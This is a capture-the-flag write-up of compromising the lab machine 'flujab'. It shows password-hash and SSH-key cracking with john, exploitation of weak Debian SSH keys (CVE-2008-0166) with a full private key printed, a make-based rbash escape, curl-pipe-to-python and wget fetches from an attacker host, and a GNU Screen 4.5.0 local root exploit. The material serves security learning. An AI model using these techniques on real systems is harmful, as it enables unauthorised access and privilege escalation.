   #	/\ \/\ \		   /\ \ 	/\__  _\  /\  _ `\	   #
   #	\ \ \_\ \     __      ____ \ \ \___	\/_/\ \/  \ \ \/\ \	   #
   #	 \ \  _  \  /'__`\   / ,__\ \ \  _ `\	   \ \ \   \ \ \ \ \	   #
   #	  \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \	    \_\ \__ \ \ \_\ \	   #
   #	   \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/	   #
   #	    \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.1 #
   #								 By Zion3R #
   #							www.Blackploit.com #
   #						       [email protected] #
   #########################################################################

   -------------------------------------------------------------------------
 HASH: a3e30cce47580888f1f185798aca22ff10be617f4a982d67643bb56448508602

Possible Hashs:
[+]  SHA-256
[+]  Haval-256

Least Possible Hashs:
[+]  GOST R 34.11-94
[+]  RipeMD-256
[+]  SNEFRU-256
[+]  SHA-256(HMAC)
[+]  Haval-256(HMAC)
[+]  RipeMD-256(HMAC)
[+]  SNEFRU-256(HMAC)
[+]  SHA-256(md5($pass))
[+]  SHA-256(sha1($pass))

   -------------------------------------------------------------------------

Then we can use john with the rockyou.txt wordlist to try to crack the plaintext password.

[email protected]:~# echo a3e30cce47580888f1f185798aca22ff10be617f4a982d67643bb56448508602 > sysadm_hash
[email protected]:~# john sysadm_hash --wordlist=rockyou.txt --format=Raw-SHA256
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA256 [SHA256 128/128 AVX 4x])
Press 'q' or Ctrl-C to abort, almost any other key for status
th3doct0r        (?)
1g 0:00:00:01 DONE (2018-12-06 22:55) 0.6993g/s 2288Kp/s 2288Kc/s 2288KC/s th3dog..th3d4rc
Use the "--show" option to display all of the cracked passwords reliably
Session completed

It cracks almost instantly, and we can now go and investigate the new subdomain and see if the creds we have are useful there.

Accessing Restricted Interfaces

Visiting the newly discovered subdomain we are greeted with the same proxy error page we saw at the start of our enum of the webserver.

However, thinking back to our initial scan results we remember port 8080 was also open on the webserver. So let’s try that.

Great, we find an Ajenti login page

And the creds sysadm :th3doct0r we just found work.

Now, after some searching around we can’t find any direct vulns in the interface.

But we do find we have the ability to enumerate the file system structure and read some files using the “Notepad” tool from the menu.

After a bit of digging we discover one of the users on the system has an authorized_keys file and an encrypted private rsa key called userkey in their .ssh directory. We are also able to see the user.txt file in their home directory but can’t yet read it. So, let’s just focus on ssh for now.

looking, closer at authorized_keys, we see an unusual comment at the top of the file that indicates some sort of whitelisting is in effect for ssh access in conjunction with key auth.

Maybe we can add our own public ssh key to authorized_keys here?

Nope :(

Never mind, we’re also able to read the contents of the userkey file.

It’s an encrypted Private RSA Key.

Let’s try to crack the password using ssh2john and john.

[email protected]:~# ssh2john drno_userkey > drno_userkey_hash
[email protected]:~# john drno_userkey_hash --wordlist=rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
shadowtroll      (drno_userkey)
1g 0:00:00:05 DONE (2018-12-09 14:51) 0.1919g/s 248960p/s 248960c/s 248960C/s shadowtroll
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[email protected]:~#

It cracks right away and we get a password of shadowtroll.

But, we are still being blocked if we try to use this key to authenticate our ssh connection.

[email protected]:~# ssh [email protected] -i drno_userkey
ssh_exchange_identification: read: Connection reset by peer
[email protected]:~#

Hmnn.. Let’s have a look in the /etc/ssh directory to try to get some understanding of what the SSH Server Whitelist setup is.

Interesting. There are some non-standard things in here. A depricated_keys directory, and an sshd_wl file. The whitelist we need to add ourselves to perhaps? :D .

Let’s see if we can add ourselves to the sshd_wl file.

Luckily, the comments tell us the exact syntax to use.

And this time we are able to successfully write to the file.

But again.. we are still denied access. This time with a “Permission denied (publickey)” error.

[email protected]:~# ssh [email protected] -i drno_userkey
Enter passphrase for key 'drno_userkey':    <-- [shadowtroll]
[email protected]: Permission denied (publickey).
[email protected]:~# 

It looks like this key wont work.

Let’s quickly generate the public key from the private one to see if it’s the same as the one in authorized_keys.

[email protected]:~# chmod 400 drno_userkey
[email protected]:~# ssh-keygen -y -f drno_userkey
Enter passphrase:    <-- [shadowtroll]
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDq4TskQAnEsxX37Hs09hdzSqgSfilFQUQ8RadT5s9NXT8gA6Xg75z57sLS3f1Vq/YWCQ1U9fwKoY0f8WRbYRhza3tOmOiI4dla+Lsbm0GWdG2bAcf3Fgz4sjkInuWACVNCCPBhBamT4eIMwcnXzyNDVrT1GkW8hjbGoKtSQh4hfaGF+zckduhqrRUtWtcYCLQLBxKOegloG7OXaNfqCyRrNnMC6z85XBYH8nn7gaQS4uvhYXdeRe894WBqTA1vpYXvxjHPpXl2dL7cwOch2xLT2dyvCEGPk1s6mPgDxFBkp67E4XR0lvn0pBVP1wjBE6ZIQkRHK2492QB8RVLZoMKB

Hmnn.. the key is completely different. So it’s probably just a troll.

Deprecated Keys

Let’s take a look at the deprecated_keys directory

When we look in the README.txt file is talks about compromised keys.

And, when we check each public key file one at a time, we eventually find 0223269.pub contains the same key as we found in /home/drno/.ssh/authorized_keys earlier.

Hmnn.. a bit of research is called for here perhaps…

SSH Vulnerabilities

After some research online we read about an old OpenSSL Bug - CVE-2008-0166 that was effective against Debian systems at the time.

Checking the /etc/issue file we see we are on a modern version of Debian.

Hmnn.. maybe the system was updated but some of the authorized_keys entries were not?

Let’s investigate that idea a little…

After some more Google-Foo we discover an archived copy of vulnerable key-pairs. g0tmi1k/debian-ssh. Good ole’ g0tmi1k :D

Lets download the archives and see if we can find a match for the public key we found in /home/drno/.ssh/authorized_keys

[email protected]:~# git clone https://github.com/g0tmi1k/debian-ssh.git
Cloning into 'debian-ssh'...
remote: Enumerating objects: 35, done.
remote: Total 35 (delta 0), reused 0 (delta 0), pack-reused 35
Unpacking objects: 100% (35/35), done.
Checking out files: 100% (13/13), done.

There are several types of keys to choose from in the archive. Lets try to be more intelligent in out approach rather than extracting and searching every large archive file in the collection.

Now, we already know it’s an ssh-rsa key, and could guess at the length or try to manually calculate it. But luckily we don’t need to.

Using ssh-keygen we can identify the key type and size based on the info available in the public key.

So we’ll just do that.

[email protected]:~# cat drno_authorized_keys 
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAqTfCP9e71pkBY+uwbr+IIx1G1r2G1mcjU5GsA42OZCWOKhWg2VNg0aAL+OZLD2YbU/di+cMEvdGZNRxCxaBNtGfMZTTZwjMNKAB7sJFofSwM29SHhuioeEbGU+ul+QZAGlk1x5Ssv+kvJ5/S9vUESXcD4z0jp21CxvKpCGI5K8YfcQybF9/v+k/KkpDJndEkyV7ka/r/IQP4VoCMQnDpCUwRCNoRb/kwqOMz8ViBEsg7odof7jjdOlbBz/F9c/s4nbS69v1xCh/9muUwxCYtOxUlCwaEqm4REf4nN330Gf4I6AJ/yNo2AH3IDpuWuoqtE3a8+zz4wcLmeciKAOyzyoLlXKndXd4Xz4c9aIJ/15kUyOvf058P6NeC2ghtZzVirJbSARvp6reObXYs+0JMdMT71GbIwsjsKddDNP7YS6XG+m6Djz1Xj77QVZbYD8u33fMmL579PRWFXipbjl7sb7NG8ijmnbfeg5H7xGZHM2PrsXt04zpSdsbgPSbNEslB78RC7RCK7s4JtroHlK9WsfH0pdgtPdMUJ+xzv+rL6yKFZSUsYcR0Bot/Ma1k3izKDDTh2mVLehsivWBVI3a/Yv8C1UaI3lunRsh9rXFnOx1rtZ73uCMGTBAComvQY9Mpi96riZm2QBe26v1MxIqNkTU03cbNE8tDD96TxonMAxE=
[email protected]:~# ssh-keygen -l -f drno_authorized_keys
4096 SHA256:zOAcAtkPPKXqN8/XrkIk9w2V9ysS1sqEnklien7DruE no comment (RSA)

Now we know the set of keys to search through is the debian_ssh_rsa_4096_x86.

Let’s extract them.

[email protected]:~# cd debian-ssh/uncommon_keys/
[email protected]:/debian-ssh/uncommon_keys# ls -al 
total 366292
drwxrwx--- 1 root root     4096 Dec  9 16:46 .
drwxrwx--- 1 root root     4096 Dec  9 16:45 ..
-rwxrwx--- 1 root root 26169991 Dec  9 16:45 debian_ssh_rsa_1023_x86.tar.bz2
-rwxrwx--- 1 root root 26237182 Dec  9 16:45 debian_ssh_rsa_1024_x86.tar.bz2
-rwxrwx--- 1 root root 99614720 Dec  9 16:45 debian_ssh_rsa1_x86.tar.z01
-rwxrwx--- 1 root root 45298273 Dec  9 16:45 debian_ssh_rsa1_x86.tar.zip
-rwxrwx--- 1 root root 50151724 Dec  9 16:45 debian_ssh_rsa_2047_x86.tar.bz2
-rwxrwx--- 1 root root 97692817 Dec  9 16:45 debian_ssh_rsa_4096_x86.tar.bz2
-rwxrwx--- 1 root root 29892080 Dec  9 16:46 debian_ssh_rsa_8192_1_4100_x86.tar.bz2
[email protected]:/debian-ssh/uncommon_keys# tar -xvf debian_ssh_rsa_4096_x86.tar.bz2
rsa/
rsa/4096/
rsa/4096/3bd9aad5cd37af8e726553ed6b39b83d-6838.pub
rsa/4096/b8b088fc3222a9170ea37e73b2c15ddc-29835
rsa/4096/ea500617021a226ec7c97e23d97c9382-21059.pub
rsa/4096/80a4c3ce61c80e8c8fbd75a400e523bf-6661
...

It’s takes a while to extract all the keys, but once it’s finished we can finally just grep the public key for a match.

[email protected]:/debian-ssh/uncommon_keys# grep -R 'AAAAB3NzaC1yc2EAAAABIwAAAgEAqTfCP9e71pkBY+uwbr+IIx1G1r2G1mcjU5GsA42OZCWOKhWg2VNg0aAL+OZLD2YbU/di+cMEvdGZNRxCxaBNtGfMZTTZwjMNKAB7sJFofSwM29SHhuioeEbGU+ul+QZAGlk1x5Ssv+kvJ5/S9vUESXcD4z0jp21CxvKpCGI5K8YfcQybF9/v+k/KkpDJndEkyV7ka/r/IQP4VoCMQnDpCUwRCNoRb/kwqOMz8ViBEsg7odof7jjdOlbBz/F9c/s4nbS69v1xCh/9muUwxCYtOxUlCwaEqm4REf4nN330Gf4I6AJ/yNo2AH3IDpuWuoqtE3a8+zz4wcLmeciKAOyzyoLlXKndXd4Xz4c9aIJ/15kUyOvf058P6NeC2ghtZzVirJbSARvp6reObXYs+0JMdMT71GbIwsjsKddDNP7YS6XG+m6Djz1Xj77QVZbYD8u33fMmL579PRWFXipbjl7sb7NG8ijmnbfeg5H7xGZHM2PrsXt04zpSdsbgPSbNEslB78RC7RCK7s4JtroHlK9WsfH0pdgtPdMUJ+xzv+rL6yKFZSUsYcR0Bot/Ma1k3izKDDTh2mVLehsivWBVI3a/Yv8C1UaI3lunRsh9rXFnOx1rtZ73uCMGTBAComvQY9Mpi96riZm2QBe26v1MxIqNkTU03cbNE8tDD96TxonMAxE=' ./rsa/4096/*.pub
./rsa/4096/dead0b5b829ea2e3d22f47a7cbde17a6-23269.pub:ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAqTfCP9e71pkBY+uwbr+IIx1G1r2G1mcjU5GsA42OZCWOKhWg2VNg0aAL+OZLD2YbU/di+cMEvdGZNRxCxaBNtGfMZTTZwjMNKAB7sJFofSwM29SHhuioeEbGU+ul+QZAGlk1x5Ssv+kvJ5/S9vUESXcD4z0jp21CxvKpCGI5K8YfcQybF9/v+k/KkpDJndEkyV7ka/r/IQP4VoCMQnDpCUwRCNoRb/kwqOMz8ViBEsg7odof7jjdOlbBz/F9c/s4nbS69v1xCh/9muUwxCYtOxUlCwaEqm4REf4nN330Gf4I6AJ/yNo2AH3IDpuWuoqtE3a8+zz4wcLmeciKAOyzyoLlXKndXd4Xz4c9aIJ/15kUyOvf058P6NeC2ghtZzVirJbSARvp6reObXYs+0JMdMT71GbIwsjsKddDNP7YS6XG+m6Djz1Xj77QVZbYD8u33fMmL579PRWFXipbjl7sb7NG8ijmnbfeg5H7xGZHM2PrsXt04zpSdsbgPSbNEslB78RC7RCK7s4JtroHlK9WsfH0pdgtPdMUJ+xzv+rL6yKFZSUsYcR0Bot/Ma1k3izKDDTh2mVLehsivWBVI3a/Yv8C1UaI3lunRsh9rXFnOx1rtZ73uCMGTBAComvQY9Mpi96riZm2QBe26v1MxIqNkTU03cbNE8tDD96TxonMAxE= [email protected]

Great, we found a match. so let’s grab the matching private key.

[email protected]:/debian-ssh/uncommon_keys# cat ./rsa/4096/dead0b5b829ea2e3d22f47a7cbde17a6-23269
-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----

let’s see if we can use this key to connect via as drno.

[email protected]:~# cp ./debian-ssh/uncommon_keys/rsa/4096/dead0b5b829ea2e3d22f47a7cbde17a6-23269 drno_rsa_4096_priv_key
[email protected]:~# chmod 400 drno_rsa_4096_priv_key 
[email protected]:~# ssh [email protected] -i drno_rsa_4096_priv_key 
Linux flujab 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Dec  6 01:11:12 2018 from 20.20.20.81
[email protected]:~$ id
uid=1000(drno) gid=1000(drno) groups=1000(drno),1002(super),1003(medic),1004(drugs),1005(doctor)
[email protected]:~$

The User Hash At Last!

Nice! Let’s cat the user.txt

[email protected]:~$ cat user.txt
[USERHASH REDACTED]

We got the hash but, trying some other commands we quickly realize we’re in a jailed rbash shell with access to only a limited set of commands from within /usr/rbin/.

[email protected]:~$ ls -al 
user.txt
[email protected]:~$ whoami
drno
[email protected]:~$ ps waux
No...
[email protected]:~$ ls -al /
user.txt
[email protected]:~$ cd ../../
-rbash: cd: restricted
[email protected]:~$ ifconfig
-rbash: ifconfig: command not found
[email protected]:~$ ip a
No...
[email protected]:~$ echo $PATH
/usr/rbin
[email protected]:~$ echo $PATH/*
/usr/rbin/bash /usr/rbin/bunzip2 /usr/rbin/busybox /usr/rbin/bzcat /usr/rbin/bzcmp /usr/rbin/bzdiff /usr/rbin/bzegrep /usr/rbin/bzexe /usr/rbin/bzfgrep /usr/rbin/bzgrep /usr/rbin/bzip2 /usr/rbin/bzip2recover /usr/rbin/bzless /usr/rbin/bzmore /usr/rbin/cat /usr/rbin/chgrp /usr/rbin/chmod /usr/rbin/chown /usr/rbin/chvt /usr/rbin/clear_console /usr/rbin/cowsay /usr/rbin/cowthink /usr/rbin/cp /usr/rbin/cpio /usr/rbin/dash /usr/rbin/date /usr/rbin/dd /usr/rbin/df /usr/rbin/dir /usr/rbin/dmesg /usr/rbin/dnsdomainname /usr/rbin/domainname /usr/rbin/dumpkeys /usr/rbin/echo /usr/rbin/egrep /usr/rbin/emacs /usr/rbin/env /usr/rbin/export /usr/rbin/false /usr/rbin/fgconsole /usr/rbin/fgrep /usr/rbin/findmnt /usr/rbin/fortune /usr/rbin/fuser /usr/rbin/grep /usr/rbin/gunzip /usr/rbin/gzexe /usr/rbin/gzip /usr/rbin/hostname /usr/rbin/id /usr/rbin/ip /usr/rbin/journalctl /usr/rbin/kbd_mode /usr/rbin/kill /usr/rbin/kmod /usr/rbin/last /usr/rbin/less /usr/rbin/ln /usr/rbin/loadkeys /usr/rbin/login /usr/rbin/loginctl /usr/rbin/ls /usr/rbin/lsblk /usr/rbin/lsmod /usr/rbin/make /usr/rbin/mkdir /usr/rbin/mknod /usr/rbin/mktemp /usr/rbin/more /usr/rbin/mount /usr/rbin/mountpoint /usr/rbin/mt /usr/rbin/mt-gnu /usr/rbin/mv /usr/rbin/nano /usr/rbin/netstat /usr/rbin/networkctl /usr/rbin/nisdomainname /usr/rbin/open /usr/rbin/openvt /usr/rbin/perl /usr/rbin/php /usr/rbin/pidof /usr/rbin/ping /usr/rbin/ping4 /usr/rbin/ping6 /usr/rbin/ps /usr/rbin/pwd /usr/rbin/python /usr/rbin/rbash /usr/rbin/readlink /usr/rbin/rm /usr/rbin/rmdir /usr/rbin/rnano /usr/rbin/run-parts /usr/rbin/screen /usr/rbin/sed /usr/rbin/set /usr/rbin/setfont /usr/rbin/setupcon /usr/rbin/sh /usr/rbin/sh.distrib /usr/rbin/sleep /usr/rbin/ss /usr/rbin/stty /usr/rbin/su /usr/rbin/sync /usr/rbin/systemctl /usr/rbin/systemd /usr/rbin/systemd-ask-password /usr/rbin/systemd-escape /usr/rbin/systemd-hwdb /usr/rbin/systemd-inhibit /usr/rbin/systemd-machine-id-setup /usr/rbin/systemd-notify /usr/rbin/systemd-sysusers /usr/rbin/systemd-tmpfiles /usr/rbin/systemd-tty-ask-password-agent /usr/rbin/tailf /usr/rbin/tar /usr/rbin/tempfile /usr/rbin/top /usr/rbin/touch /usr/rbin/true /usr/rbin/udevadm /usr/rbin/umount /usr/rbin/uname /usr/rbin/uncompress /usr/rbin/unicode_start /usr/rbin/vdir /usr/rbin/vi /usr/rbin/vim /usr/rbin/wdctl /usr/rbin/which /usr/rbin/who /usr/rbin/whoami /usr/rbin/ypdomainname /usr/rbin/zcat /usr/rbin/zcmp /usr/rbin/zdiff /usr/rbin/zegrep /usr/rbin/zfgrep /usr/rbin/zforce /usr/rbin/zgrep /usr/rbin/zless /usr/rbin/zmore /usr/rbin/znew

Oh, it looks like drno is Dr No…

Escape The Restricted Shell

We need to do a jailbreak here. We start by double tapping the [Tab] key

[email protected]:~$ 
Display all 222 possibilities? (y or n)
:                               dash                            hostname                        popd                            tar
!                               date                            id                              printf                          tempfile
./                              dd                              if                              ps                              test
[                               declare                         in                              pushd                           then
[[                              df                              ip                              pwd                             time
]]                              dir                             jobs                            python                          times
{                               dirs                            journalctl                      rbash                           top
}                               disown                          kbd_mode                        read                            touch
alias                           dmesg                           kill                            readarray                       trap
bash                            dnsdomainname                   kmod                            readlink                        true
bg                              do                              last                            readonly                        type
bind                            domainname                      less                            return                          typeset
break                           done                            let                             rm                              udevadm
builtin                         dumpkeys                        ln                              rmdir                           ulimit
bunzip2                         echo                            loadkeys                        rnano                           umask
busybox                         egrep                           local                           run-parts                       umount
bzcat                           elif                            login                           screen                          unalias
bzcmp                           else                            loginctl                        sed                             uname
bzdiff                          emacs                           logout                          select                          uncompress
bzegrep                         enable                          ls                              set                             unicode_start
bzexe                           env                             lsblk                           setfont                         unset
bzfgrep                         esac                            lsmod                           setupcon                        until
bzgrep                          eval                            make                            sh                              vdir
bzip2                           exec                            mapfile                         sh.distrib                      vi
bzip2recover                    exit                            mkdir                           shift                           vim
bzless                          export                          mknod                           shopt                           wait
bzmore                          false                           mktemp                          sleep                           wdctl
caller                          fc                              more                            source                          which
case                            fg                              mount                           ss                              while
cat                             fgconsole                       mountpoint                      stty                            who
cd                              fgrep                           mt                              su                              whoami
chgrp                           fi                              mt-gnu                          suspend                         ypdomainname
chmod                           findmnt                         mv                              sync                            zcat
chown                           for                             nano                            systemctl                       zcmp
chvt                            fortune                         netstat                         systemd                         zdiff
command                         function                        networkctl                      systemd-ask-password            zegrep
compgen                         fuser                           nisdomainname                   systemd-escape                  zfgrep
complete                        getopts                         open                            systemd-hwdb                    zforce
compopt                         grep                            openvt                          systemd-inhibit                 zgrep
continue                        gunzip                          perl                            systemd-machine-id-setup        zless
coproc                          gzexe                           php                             systemd-notify                  zmore
cowsay                          gzip                            pidof                           systemd-sysusers                znew
cowthink                        hash                            ping                            systemd-tmpfiles                
cp                              help                            ping4                           systemd-tty-ask-password-agent  
cpio                            history                         ping6                           tailf                           
[email protected]:~$ 

Going through and trying out each command, we find we can access some Linux builtins, but most of the command just echo "No..." back at us…

After some time we eventually find the make command seems to be valid.

[email protected]:~$ make
make: *** No targets specified and no makefile found.  Stop.
[email protected]:~$ make -v
GNU Make 4.1
Built for x86_64-pc-linux-gnu
Copyright (C) 1988-2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
[email protected]:~$

And checking on GTFOBins we find out make can be used to perform shell escapes.

So we do that..

[email protected]:~$ COMMAND='/bin/bash'
[email protected]:~$ make -s --eval=$'x:\n\t-'"$COMMAND"
[email protected]:~$ export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
[email protected]:~$ ls -al 
total 32
dr-xr-xr-x  4 drno drno 4096 Dec  4 01:03 .
drwxr-xr-x 30 root root 4096 Dec  3 21:45 ..
-r--r--r--  1 drno drno  220 Nov 27 13:50 .bash_logout
-r--r--r--  1 drno drno 3578 Dec  4 00:11 .bashrc
dr-xr-xr-x  2 drno drno 4096 Nov 27 16:16 .nano
-r--r--r--  1 drno drno  579 Dec  4 00:11 .profile
dr-xr-xr-x  2 drno drno 4096 Dec  1 18:23 .ssh
-r--------  1 drno drno   33 Nov 27 19:05 user.txt

And it works!

Gaining root!

Looking around the system we see most things are fully patched, however during our enumeration of the system we eventually come across an interesting screen command in the /usr/bin/ directory.

[email protected]:/tmp$ curl -s http://20.20.20.81/lpc.py |python -
...
[+] SUID/SGID Files and Directories
...
  -rwSr-xr-x 1 root utmp 457608 May 23  2017 /usr/bin/screen
...

if we check the version we also find it should be vulnerable to a local root privesc exploit

[email protected]:/tmp$ screen -v
Screen version 4.05.00 (GNU) 10-Dec-16
[email protected]:~# searchsploit GNU Screen 4
--------------------------------------- ----------------------------------------
 Exploit Title                         |  Path
                                       | (/usr/share/exploitdb/)
--------------------------------------- ----------------------------------------
GNU Screen 4.5.0 - Local Privilege Esc | exploits/linux/local/41152.txt
GNU Screen 4.5.0 - Local Privilege Esc | exploits/linux/local/41154.sh
--------------------------------------- ----------------------------------------

lets try out the 41154.sh script.

[email protected]:/tmp$ wget http://20.20.20.81/41154.sh
--2018-12-09 21:34:55--  http://20.20.20.81/41154.sh
Connecting to 20.20.20.81:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1151 (1.1K) [text/x-sh]
Saving to: ‘41154.sh’

41154.sh                                    100%[========================================================================================>]   1.12K  --.-KB/s    in 0s      

2018-12-09 21:34:55 (287 MB/s) - ‘41154.sh’ saved [1151/1151]

[email protected]:/tmp$ chmod +x 41154.sh
[email protected]:/tmp$ ./41154.sh 
~ gnu/screenroot ~
[+] First, we create our shell and library...
./41154.sh: line 22: gcc: command not found
./41154.sh: line 34: gcc: command not found
[+] Now we create our /etc/ld.so.preload file...
Directory '/run/screen' must have mode 755.
[+] Triggering...
Directory '/run/screen' must have mode 755.
./41154.sh: line 42: /tmp/rootshell: No such file or directory
[email protected]:/tmp$

Hmnn… gcc not found. lets have a look for it.

[email protected]:/tmp$ find /usr/bin -type f -name *gcc* 2>/dev/null 
/usr/bin/c89-gcc
/usr/bin/x86_64-linux-gnu-gcc-ranlib-6
/usr/bin/x86_64-linux-gnu-gcc-ar-6
/usr/bin/c99-gcc
/usr/bin/x86_64-linux-gnu-gcc-nm-6
/usr/bin/x86_64-linux-gnu-gcc-6

We can just hardcode /usr/bin/x86_64-linux-gnu-gcc-6 into the script and hopefully it’ll work.

a quick sed command will sort that.

[email protected]:/tmp$ sed -i s'/gcc /\/usr\/bin\/x86_64-linux-gnu-gcc-6 /'g 41154.sh 
[email protected]:/tmp$ grep gcc 41154.sh 
/usr/bin/x86_64-linux-gnu-gcc-6 -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
/usr/bin/x86_64-linux-gnu-gcc-6 -o /tmp/rootshell /tmp/rootshell.c

Now let’s try once more.

[email protected]:/tmp$ ./41154.sh 
~ gnu/screenroot ~
[+] First, we create our shell and library...
/tmp/libhax.c: In function ‘dropshell’:
/tmp/libhax.c:7:5: warning: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration]
     chmod("/tmp/rootshell", 04755);
     ^~~~~
/tmp/rootshell.c: In function ‘main’:
